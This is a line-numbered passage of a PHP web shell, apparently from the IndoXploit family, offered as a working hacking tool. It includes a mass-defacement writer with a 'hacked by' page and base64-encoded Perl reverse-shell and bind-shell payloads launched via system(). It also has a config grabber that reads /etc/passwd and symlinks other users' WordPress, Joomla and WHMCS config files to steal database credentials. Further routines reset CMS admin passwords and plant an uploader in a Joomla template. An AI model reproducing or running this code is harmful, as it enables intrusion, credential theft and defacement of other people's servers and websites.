2611<meta name="keyword" content="hacked by Kapaljetz666">
2612<meta name="googlebot" content="index,follow" />
2613<meta name="robots" content="all" />
2614<meta name="robots schedule" content="auto" />
2615<meta name="distribution" content="global" />
2616<body onload="type_text()" alink="#FFFF00" vlink="#FFFF00" link="#FFFF00" text="#FFFF00">
2617<table height=90% width=100%>
2618<script type="text/javascript">
2619
2620var snowmax=75
2621var snowcolor=new Array("#AAAACC","#DDDDFF","#CCCCDD","#F3F3F3","#F0FFFF")
2622var snowtype=new Array("Arial Black","Arial Narrow","Times","Comic Sans MS")
2623var snowletter="*"
2624var sinkspeed=0.6
2625var snowmaxsize=22
2626var snowminsize=8
2627var snowingzone=1
2628
2629// Do not edit below this line
2630var snow=new Array()
2631var marginbottom
2632var marginright
2633var timer
2634var i_snow=0
2635var x_mv=new Array();
2636var crds=new Array();
2637var lftrght=new Array();
2638var browserinfos=navigator.userAgent
2639var ie5=document.all&&document.getElementById&&!browserinfos.match(/Opera/)
2640var ns6=document.getElementById&&!document.all
2641var opera=browserinfos.match(/Opera/)
2642var browserok=ie5||ns6||opera
2643
2644function randommaker(range) {
2645 rand=Math.floor(range*Math.random())
2646 return rand
2647}
2648
2649function initsnow() {
2650 if (ie5 || opera) {
2651 marginbottom = document.body.clientHeight
2652 marginright = document.body.clientWidth
2653 }
2654 else if (ns6) {
2655 marginbottom = window.innerHeight
2656 marginright = window.innerWidth
2657 }
2658 var snowsizerange=snowmaxsize-snowminsize
2659 for (i=0;i<=snowmax;i++) {
2660 crds[i] = 0;
2661 lftrght[i] = Math.random()*15;
2662 x_mv[i] = 0.03 + Math.random()/10;
2663 snow[i]=document.getElementById("s"+i)
2664 snow[i].style.fontFamily=snowtype[randommaker(snowtype.length)]
2665 snow[i].size=randommaker(snowsizerange)+snowminsize
2666 snow[i].style.fontSize=snow[i].size
2667 snow[i].style.color=snowcolor[randommaker(snowcolor.length)]
2668 snow[i].sink=sinkspeed*snow[i].size/5
2669 if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
2670 if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
2671 if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
2672 if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
2673 snow[i].posy=randommaker(2*marginbottom-marginbottom-2*snow[i].size)
2674 snow[i].style.left=snow[i].posx
2675 snow[i].style.top=snow[i].posy
2676 }
2677 movesnow()
2678}
2679
2680function movesnow() {
2681 for (i=0;i<=snowmax;i++) {
2682 crds[i] += x_mv[i];
2683 snow[i].posy+=snow[i].sink
2684 snow[i].style.left=snow[i].posx+lftrght[i]*Math.sin(crds[i]);
2685 snow[i].style.top=snow[i].posy
2686
2687 if (snow[i].posy>=marginbottom-2*snow[i].size || parseInt(snow[i].style.left)>(marginright-3*lftrght[i])){
2688 if (snowingzone==1) {snow[i].posx=randommaker(marginright-snow[i].size)}
2689 if (snowingzone==2) {snow[i].posx=randommaker(marginright/2-snow[i].size)}
2690 if (snowingzone==3) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/4}
2691 if (snowingzone==4) {snow[i].posx=randommaker(marginright/2-snow[i].size)+marginright/2}
2692 snow[i].posy=0
2693 }
2694 }
2695 var timer=setTimeout("movesnow()",50)
2696}
2697
2698for (i=0;i<=snowmax;i++) {
2699 document.write("<span id='s"+i+"' style='position:absolute;top:-"+snowmaxsize+"'>"+snowletter+"</span>")
2700}
2701if (browserok) {
2702 window.onload=initsnow
2703}
2704</script>
2705<td align=center>
2706</head>
2707<body bgcolor="#000000" text="#FFFF00"><center>
2708<font face=courier new>
2709<h1>
2710<font color='red'>hacked by Kapaljetz666</font><p>
2711<font size=3>don't worry, and keep your calm<br>
2712Deface just a game, if you say it's a crime, that mean you're stupid<p>
2713</font>
2714<font face='courier new' size=3>
2715greets for you <a href="http://zone-h.org/archive/notifier=Kapaljetz666" target="_blank">
2716<img src="http://s10.postimg.org/6cc1ngy7p/Cur.png" name="haha you found me" height=20 width=25></img></a>
2717</font>
2718<EMBED ALIGN='CENTER' AUTOSTART='TRUE' HEIGHT='1' LOOP='TRUE' SRC='http://vivat365.com/wp-admin/videoplayback_2.swf' WIDTH='1'></EMBED>
2719</style>
2720</body>
2721</html>
2722</textarea><br>
2723<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
2724<h3>defaced result: </h3>
2725<br><br>
2726versi text area:<br>
2727<textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
2728<?php $ini="http://";
2729 $mainpath=$_POST[path];
2730 $file=$_POST[file];
2731 $dir=opendir("$mainpath");
2732 $code=base64_encode($_POST[index]);
2733 $indx=base64_decode($code);
2734 while($row=readdir($dir)){
2735 $start=@fopen("$row/$file","w+");
2736 $finish=@fwrite($start,$indx);
2737 if ($finish){echo"$ini$row/$file\n";}}
2738?>
2739</textarea><br>
2740<br><br>versi text:<br><br>
2741<?php $ini="http://";
2742 $mainpath=$_POST[path];
2743 $file=$_POST[file];
2744 $dir=opendir("$mainpath");
2745 $code=base64_encode($_POST[index]);
2746 $indx=base64_decode($code);
2747 while($row=readdir($dir)){
2748 $start=@fopen("$row/$file","w+");
2749 $finish=@fwrite($start,$indx);
2750 if ($finish){echo"<a href="."$ini$row/$file"." target="."_blank".">$ini$row/$file</a><br>";}}
2751
2752?>
2753<?php
2754}
2755elseif(isset($_GET['x']) && ($_GET['x'] == 'sbc')){ @ini_set('output_buffering',0);
2756?>
2757 <form action="?y=<?php echo $pwd; ?>&x=sbc" method="post">
2758 <br><br><center><b><font size=4>Back Connect Simple</font></b></center><br>
2759<?php
2760echo "
2761<head>
2762<link rel='icon' type='image/ico' href='http://media.stateofq.com/photologue/photos/cache/facebook%20favicon_thumbnail.png'/>
2763<form method='POST'>
2764<title>Facebook Brute Force 2014</title>
2765</head>
2766<style>
2767textarea {
2768resize:none;
2769color: #000000 ;
2770border:1px solid red ;
2771border-left: 4px solid red ;
2772}
2773input {
2774color: #000000;
2775border:1px dotted black;
2776}
2777</style>";
2778if ($_REQUEST['cdirname']){
2779if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
2780function bcn($ipbc,$pbc){
2781$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
2782NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
2783MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
2784dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
2785IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
2786YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
2787LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
2788KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
2789KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
2790IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
2791ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
2792$opbc=fopen("bcc.pl","w");
2793fwrite($opbc,base64_decode($bcperl));
2794fclose($opbc);
2795system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
2796}
2797function wbp($wb){
2798$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
2799cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
2800a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
2801ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
2802IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
2803IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
2804VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
2805VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
2806$opwb=fopen("wbp.pl","w");
2807fwrite($opwb,base64_decode($wbp));
2808fclose($opwb);
2809echo getcwd();
2810system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
2811}
2812function lbp($wb){
2813$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
2814YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
2815U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
2816VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
2817QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
2818dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
2819b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
2820Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
2821$oplb=fopen("lbp.pl","w");
2822fwrite($oplb,base64_decode($lbp));
2823fclose($oplb);
2824system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
2825}
2826
2827if($_REQUEST['portbw']){
2828wbp($_REQUEST['portbw']);
2829
2830}if($_REQUEST['portbl']){
2831lbp($_REQUEST['portbl']);
2832}
2833if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
2834bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
2835
2836}
2837echo "<p align='center'><font face='Tahoma' color='#007700' size='2pt' /><p align='center'><br>Ip : <input type=text name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'><p align='center'><br><font face='Tahoma' color='#009900' size='2pt'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'> <br><font face='Tahoma' color='#009900' size='2pt'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>".$end;exit;
2838}
2839////////////////////////////////////////////////////////////////////////////
2840elseif(isset($_GET['x']) && ($_GET['x'] == 'grabc')){ @ini_set('output_buffering',0);
2841?>
2842 <form action="?y=<?php echo $pwd; ?>&x=grabc" method="post">
2843 <br><br><center><b><font size=4>Config Grabber !</font></b></center><br>
2844<?php
2845echo "
2846<form method='POST'>
2847</head>
2848<style>
2849textarea {
2850resize:none;
2851color: #000000 ;
2852background-color:#000000;
2853font-size:8pt; color:#FFFF00;
2854border:1px solid white ;
2855border-left: 4px solid white ;
2856width:543px;
2857height:400px;
2858}
2859input {
2860color: #000000;
2861border:1px dotted white;
2862}
2863</style>";
2864echo "<center>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Grab!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink disabled :( </error>');}@mkdir('jembutgrab', 0755);@chdir('jembutgrab');
2865$htaccess="
2866OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
2867Options Indexes FollowSymLinks
2868ForceType text/plain
2869AddType text/plain .php
2870AddType text/plain .html
2871AddType text/html .shtml
2872AddType txt .php
2873AddHandler server-parsed .php
2874AddHandler txt .php
2875AddHandler txt .html
2876AddHandler txt .shtml
2877Options All
2878Options All";
2879file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];
2880$passwd=explode("\n",$passwd);
2881echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
2882foreach($passwd as $pwd){
2883$pawd=explode(":",$pwd);$user =$pawd[0];
2884@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
2885@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
2886@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
2887@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
2888@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
2889@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
2890@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
2891@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
2892@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
2893@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');
2894@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
2895@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
2896@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
2897@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
2898@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
2899@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
2900@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');
2901@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
2902@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
2903@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');
2904@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
2905@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');
2906@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
2907@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
2908@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
2909@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
2910@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
2911@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
2912@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
2913@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
2914@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
2915@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
2916@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
2917@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
2918@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
2919@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
2920@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
2921@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
2922@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
2923@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
2924echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="jembutgrab">Open configs</a></font></b>';}
2925}
2926elseif(isset($_GET['x']) && ($_GET['x'] == 'grabwpjm'))
2927 {
2928 ?>
2929 <form action="?path=<?php echo $path; ?>&x=grabwpjm" method="post">
2930<?php
2931// Tu5b0l3d
2932// thx to: IndoXPloit, HNc
2933// Config Wordpress and Joomla Grabber
2934error_reporting(0);
2935 echo "<h1><center>Created By IndoXploit<br><a href='configs/'style='text-decoration:none;'>Open Configs</a></center><br></h1>";
2936//$us = file_get_contents("/etc/passwd");
2937$usa = fopen('/etc/passwd','r');
2938$dir = mkdir('configs', 0777);
2939$rrrr = "Options all \n DirectoryIndex configs.html \n Require None \n Satisfy Any";
2940$frr = fopen('configs/.htaccess', 'w');
2941
2942fwrite($frr, $rrrr);
2943while($us = fgets($usa)){
2944if($us==""){
2945 echo "cann't read /etc/passwd";
2946}
2947else{
2948preg_match_all('/(.*?):x:/', $us, $user_byk);
2949
2950 foreach($user_byk[1] as $user){
2951 $dir1 = "/home/$user/public_html/";
2952 if(is_readable($dir1)){
2953 $dir = "/home/$user/public_html/wp-config.php";
2954 $dir2 = "/home/$user/public_html/configuration.php";
2955 $ambil = file_get_contents($dir);
2956
2957
2958 if($ambil==""){
2959 $ambil_joom = file_get_contents($dir2);
2960 if($ambil_joom==""){
2961 echo "<font color='green'>$user <= Readable (Bukan Wordpress dan Joomla)<br></font>";
2962
2963 }
2964 else{
2965
2966 $file1 = "grabwpjm/$user-configuration.txt";
2967 $fp2 = fopen($file1,"w");
2968 fputs($fp2,$ambil);
2969
2970 echo "<a href='grabwpjm/$user-configuration.txt'style='text-decoration:none;'>$user </a> <= Joomla<br>";
2971
2972 }
2973
2974 }
2975 else{
2976
2977 $file1 = "grabwpjm/$user-wpconfig.txt";
2978 $fp2 = fopen($file1,"w");
2979 fputs($fp2,$ambil);
2980
2981 echo "<a href='grapwpjm/$user-wpconfig.txt'style='text-decoration:none;'>$user </a> <= Wordpress<br>";
2982
2983 }
2984
2985
2986 }
2987 else{
2988
2989
2990 }
2991
2992 }
2993
2994}
2995
2996}
2997
2998}
2999elseif(isset($_GET['x']) && ($_GET['x'] == 'joom'))
3000 {
3001 ?>
3002 <form action="?path=<?php echo $path; ?>&x=joom" method="post">
3003<?php
3004error_reporting(0);
3005//Tu5b0l3d
3006
3007//thx to: IndoXploit, Hacker-Newbie.org
3008
3009
3010
3011 if($_POST['submitt']){
3012
3013
3014 $host = $_POST['host'];
3015
3016 $username = $_POST['username'];
3017
3018 $password = $_POST['password'];
3019
3020 $db = $_POST['db'];
3021
3022 $dbprefix = $_POST['dbprefix'];
3023
3024 $user_baru = $_POST['user_baru'];
3025
3026 $password_baru = $_POST['password_baru'];
3027
3028 $tanya = $_POST['tanya'];
3029
3030
3031 $prefix = $dbprefix."users";
3032
3033 $pass = md5("$password_baru");
3034
3035 $upda = $db.".".$dbprefix;
3036
3037
3038 mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
3039
3040 mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
3041
3042 $tampil=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
3043 $r=mysql_fetch_array($tampil);
3044 $id = $r[id];
3045
3046
3047 mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
3048
3049
3050 function token($target){
3051 $ch2 = curl_init ("$target");
3052 curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
3053 curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
3054 curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3055 curl_setopt ($ch2, CURLOPT_CONNECTTIMEOUT, 5);
3056 curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
3057 curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
3058 curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
3059 curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
3060 $data = curl_exec ($ch2);
3061
3062
3063 preg_match('/<input type="hidden" name="(.*?)" value="1"/', $data, $token);
3064 $token = $token[1];
3065 return $token;
3066 }
3067
3068 if ($tanya == "y"){
3069 $target = $_POST['target'];
3070 $path = "/administrator/index.php?option=com_templates&view=template&id=503&file=L2Vycm9yLnBocA%3D%3D";
3071 $site = $target.$path;
3072 $token1 = token($site);
3073
3074
3075
3076$post = array(
3077 "username" => "$user_baru",
3078 "passwd" => "$password_baru",
3079 "lang" => "en-GB",
3080 "option" => "com_login",
3081 "task" => "login",
3082 "return" => "aW5kZXgucGhw",
3083 "$token1" => "1",
3084 );
3085
3086$ch = curl_init ("$site");
3087curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
3088curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
3089curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3090curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
3091curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
3092curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
3093curl_setopt ($ch, CURLOPT_POST, 1);
3094@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
3095curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
3096curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
3097$masuk = curl_exec ($ch);
3098
3099$token2 = token($site);
3100
3101$upload = base64_decode("Z3cgZ2FudGVuZw0KPD9waHANCiAgJGZpbGUgPSAkX0ZJTEVTWydmaWxlJ107DQogICRuZXdmaWxlPSJrLnBocCI7DQoJCWlmIChmaWxlX2V4aXN0cygiLi4vLi4vIi4kbmV3ZmlsZSkpIHVubGluaygiLi4uLi8vIi4kbmV3ZmlsZSk7DQogICAgCW1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwgIi4uLy4uLyRuZXdmaWxlIik7DQo/Pg0K");
3102
3103$post2 = array(
3104 "jform[source]" => "$upload",
3105 "task" => "template.save",
3106 "$token2" => "1",
3107 "jform[extension_id]"=> "503",
3108 "jform[filename]" => "/error.php",
3109 );
3110
3111$ch3 = curl_init ("$site");
3112curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
3113curl_setopt ($ch3, CURLOPT_FOLLOWLOCATION, 1);
3114curl_setopt ($ch3, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3115curl_setopt ($ch3, CURLOPT_CONNECTTIMEOUT, 5);
3116curl_setopt ($ch3, CURLOPT_SSL_VERIFYPEER, 0);
3117curl_setopt ($ch3, CURLOPT_SSL_VERIFYHOST, 0);
3118curl_setopt ($ch3, CURLOPT_POST, 1);
3119curl_setopt ($ch3, CURLOPT_POSTFIELDS, $post2);
3120curl_setopt($ch3, CURLOPT_COOKIEJAR,'coker_log');
3121curl_setopt($ch3, CURLOPT_COOKIEFILE,'coker_log');
3122$masuk2 = curl_exec ($ch3);
3123
3124if(preg_match("#successfully#is", $masuk2)){
3125echo "uploader udh ketanem...<br>";
3126echo "lanjut mepes...<br>";
3127
3128$file_pepes = "hacked.php";
3129$ch4 =curl_init("$target/templates/beez3/error.php");
3130 curl_setopt($ch4, CURLOPT_POST, true);
3131 curl_setopt($ch4, CURLOPT_POSTFIELDS,
3132 array('file'=>"@$file_pepes"));
3133 curl_setopt($ch4, CURLOPT_RETURNTRANSFER, 1);
3134 curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
3135 curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
3136 $postResult = curl_exec($ch4);
3137 curl_close($ch4);
3138
3139
3140 $ch5 =curl_init("$target/k.php");
3141 curl_setopt($ch5, CURLOPT_POST, true);
3142 curl_setopt($ch5, CURLOPT_RETURNTRANSFER, 1);
3143 curl_setopt ($ch5, CURLOPT_SSL_VERIFYPEER, 0);
3144 curl_setopt ($ch5, CURLOPT_SSL_VERIFYHOST, 0);
3145 $postResult2 = curl_exec($ch5);
3146
3147
3148 if(preg_match('#hacked#is', $postResult2)){
3149 echo "<font color='green'>berhasil mepes...</font><br>";
3150 echo "$target/k.php<br>";
3151 }
3152 else{
3153 echo "<font color='red'>gagal mepes...</font><br>";
3154 echo "coba aja manual: <br>";
3155 echo "$target/administrator<br>";
3156 echo "username: $user_baru<br>";
3157 echo "password: $password_baru<br>";
3158 }
3159
3160
3161
3162}
3163else{
3164 echo "failed<br>";
3165 echo "data udh bener. beda template mungkin :(<br>";
3166 echo "coba aja manual: <br>";
3167 echo "$target/administrator<br>";
3168 echo "username: $user_baru<br>";
3169 echo "password: $password_baru<br>";
3170}
3171
3172
3173curl_close($ch3);
3174curl_close($ch);
3175
3176
3177
3178
3179
3180 }
3181 elseif($tanya == "n"){
3182 echo "Sukses<br>";
3183 echo "username: $user_baru<br>";
3184 echo "password: $password_baru<br>";
3185
3186 }
3187
3188
3189 }
3190
3191
3192
3193 else{
3194
3195 echo '<html>
3196
3197 <head>
3198
3199 <title>Edit user in joomla</title>
3200
3201 </head>
3202
3203
3204
3205 <body>
3206
3207 <center>
3208
3209 <center
3210
3211 <h2>Edit user in joomla</h2>
3212
3213 <table>
3214
3215 <tr><td><form method="post" action="?action"></td></tr>
3216
3217 <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
3218
3219 <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
3220
3221 <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
3222
3223 <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
3224
3225 <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
3226
3227 <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
3228
3229 <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
3230 <tr><td></td></tr>
3231 <tr><td></td></tr>
3232
3233
3234 <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
3235 <tr><td><input type="text" name="target" placeholder="www.IndoXploit.org"></td></tr>
3236
3237 <tr><td><input type="submit" value="Submit" name="submitt"></td></tr>
3238
3239 </table>
3240 *nb: Masukin script deface anda hacked.php. kalo milih y ... silahkan masukin nama sitenya, kalo ngk tau nama sitenya, pilih n
3241
3242 </center>
3243
3244 </body>';
3245
3246 }
3247
3248
3249
3250}
3251elseif(isset($_GET['x']) && ($_GET['x'] == 'ggwp'))
3252 {
3253 ?>
3254 <form action="?path=<?php echo $path; ?>&x=ggwp" method="post">
3255<?php
3256 if($_POST){
3257 $host = $_POST['host'];
3258 $username = $_POST['username'];
3259 $password = $_POST['password'];
3260 $db = $_POST['db'];
3261 $dbprefix = $_POST['dbprefix'];
3262 $user_baru = $_POST['user_baru'];
3263 $password_baru = $_POST['password_baru'];
3264 $prefix = $db.".".$dbprefix."users";
3265 $sue = $db.".".$dbprefix."options";
3266 $tanya = $_POST['tanya'];
3267 $target = $_POST['target'];
3268 $nick = $_POST['nick'];
3269 $pass = md5("$password_baru");
3270
3271
3272 mysql_connect($host,$username,$password) or die("Koneksi gagal.. isi data yg bener");
3273 mysql_select_db($db) or die("Database tidak bisa dibuka.. Isi data yg bener");
3274
3275 $tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
3276 $r=mysql_fetch_array($tampil);
3277 $id = $r[ID];
3278
3279 $tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
3280 $r2=mysql_fetch_array($tampil2);
3281 $target = $r2[option_value];
3282
3283
3284 mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
3285
3286
3287
3288
3289 if($tanya=="y"){
3290
3291 function ambilKata($param, $kata1, $kata2){
3292 if(strpos($param, $kata1) === FALSE) return FALSE;
3293 if(strpos($param, $kata2) === FALSE) return FALSE;
3294 $start = strpos($param, $kata1) + strlen($kata1);
3295 $end = strpos($param, $kata2, $start);
3296 $return = substr($param, $start, $end - $start);
3297 return $return;
3298}
3299
3300 function anucurl($sites){
